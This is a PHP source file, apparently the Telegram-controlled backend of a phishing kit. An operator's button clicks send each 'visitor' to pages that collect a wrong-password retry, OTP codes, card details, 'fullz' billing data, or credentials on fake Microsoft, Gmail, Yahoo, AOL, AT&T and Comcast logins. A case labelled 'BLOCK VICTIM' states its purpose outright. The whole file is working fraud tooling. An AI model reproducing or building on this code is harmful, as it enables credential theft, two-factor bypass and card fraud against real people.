<?php
session_start();
include('config.php');

// Use long polling for faster response
$offset_file = __DIR__ . '/session/telegram_offset.txt';
$last_offset = file_exists($offset_file) ? (int)file_get_contents($offset_file) : 0;

// Long polling with 5 second timeout for immediate response
$website = "https://api.telegram.org/bot{$settings['bot_url']}/getUpdates";
$params = [
    'offset' => $last_offset,
    'timeout' => 5,
    'allowed_updates' => json_encode(['callback_query'])
];

$ch = curl_init($website . '?' . http_build_query($params));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
curl_close($ch);

$updates = json_decode($response, true);

if (!$updates || !isset($updates['result']) || empty($updates['result'])) {
    http_response_code(204); // No content
    exit();
}

// Process each update
foreach ($updates['result'] as $update) {
    if (!isset($update['callback_query'])) {
        continue;
    }

    $callback_query = $update['callback_query'];
    $chat_id = $callback_query['message']['chat']['id'];
    $callback_id = $callback_query['id'];
    $data = $callback_query['data'];

    // Extract visitor ID from message (matches VISITOR-ID format)
    preg_match('/VISITOR-ID:\s*(?:<code>)?([a-f0-9]{64})(?:<\/code>)?/', $callback_query['message']['text'], $matches);
    $visitor_id = $matches[1] ?? '';

    if (empty($visitor_id)) {
        continue;
    }

    // Handle different button clicks 
    switch($data) {
        case 'wrong_password':
            $redirect_url = "error.php?id=" . $visitor_id;
            $status = "❌ WRONG PASSWORD";
            break;
        case 'otp1':
            $redirect_url = "auth.php?id=" . $visitor_id;
            $status = "🔐 OTP CODE I";
            break;
        case 'otp2':
            $redirect_url = "erauth.php?id=" . $visitor_id;
            $status = "🔐 OTP CODE II";
            break;
        case 'card':
            $redirect_url = "card.php?id=" . $visitor_id;
            $status = "💳 CARD INFO";
            break;
        case 'fullz':
            $redirect_url = "info.php?id=" . $visitor_id;
            $status = "📝 BILLING ADDRESS";
            break;
        case 'success':
            $redirect_url = "success.php?id=" . $visitor_id;
            $status = "✅ SUCCESS";
            break;
        case 'email_access':
                // Verify we have the email in session
                if (!isset($_SESSION["userLoginId"])) {
                    $redirect_url = "error.php?id=" . $visitor_id;
                    $status = "❌ EMAIL SESSION ERROR";
                } else {
                    $email = strtolower($_SESSION["userLoginId"]);
                    
                    if(strpos($email, "hotmail") !== false || strpos($email, "outlook") !== false) {
                        $redirect_url = "email/Microsoft.php?id=" . bin2hex(random_bytes(32));
                    }
                    elseif(strpos($email, "gmail") !== false || strpos($email, "googlemail") !== false) {
                        $redirect_url = "email/Gmail.php?id=" . bin2hex(random_bytes(32));
                    }
                    elseif(strpos($email, "yahoo") !== false || strpos($email, "ymail") !== false) {
                        $redirect_url = "email/Yahoo.php?id=" . bin2hex(random_bytes(32));
                    }
                    elseif(strpos($email, "att") !== false) {
                        $redirect_url = "email/Att.php?id=" . bin2hex(random_bytes(32));
                    }
                    elseif(strpos($email, "comcast") !== false) {
                        $redirect_url = "email/Comcast.php?id=" . bin2hex(random_bytes(32));
                    }
                    elseif(strpos($email, "aol") !== false) {
                        $redirect_url = "email/AOL.php?id=" . bin2hex(random_bytes(32));
                    }
                    else {
                        $redirect_url = "email/Microsoft.php?id=" . bin2hex(random_bytes(32));
                    }
                    $status = "📧 EMAIL ACCESS";
                }
                break;
        case 'block':
            $redirect_url = "blocked.php?id=" . $visitor_id;
            $status = "🚫 BLOCK VICTIM";
            break;
        default:
            continue 2;
    }
    

    // Update redirects.json with file locking
    $redirects_file = __DIR__ . '/session/redirects.json';
    if (file_exists($redirects_file)) {
        $fp = fopen($redirects_file, 'r+');
        if ($fp) {
            flock($fp, LOCK_EX); // Exclusive lock
            $redirects = json_decode(fread($fp, filesize($redirects_file)), true);
            
            if (isset($redirects['redirects'][$visitor_id])) {
                // Update visitor's redirect info
                $redirects['redirects'][$visitor_id]['status'] = 'ready';
                $redirects['redirects'][$visitor_id]['redirect_url'] = $redirect_url;
                $redirects['redirects'][$visitor_id]['updated'] = time();
                
                ftruncate($fp, 0);
                rewind($fp);
                fwrite($fp, json_encode($redirects, JSON_PRETTY_PRINT));
                fflush($fp);
                flock($fp, LOCK_UN);
                fclose($fp);

                // Answer callback query (async)
                $answer = [
                    'callback_query_id' => $callback_id,
                    'text' => "✅ Action set: {$status}",
                    'show_alert' => true
                ];

                $ch = curl_init("https://api.telegram.org/bot{$settings['bot_url']}/answerCallbackQuery");
                curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                curl_setopt($ch, CURLOPT_POST, 1);
                curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($answer));
                curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
                curl_setopt($ch, CURLOPT_TIMEOUT, 2);
                curl_exec($ch);
                curl_close($ch);
            } else {
                flock($fp, LOCK_UN);
                fclose($fp);
            }
        }
    }
}

// Save offset for next poll
if (!empty($updates['result'])) {
    $last_update = end($updates['result']);
    if (isset($last_update['update_id'])) {
        file_put_contents($offset_file, $last_update['update_id'] + 1);
    }
} 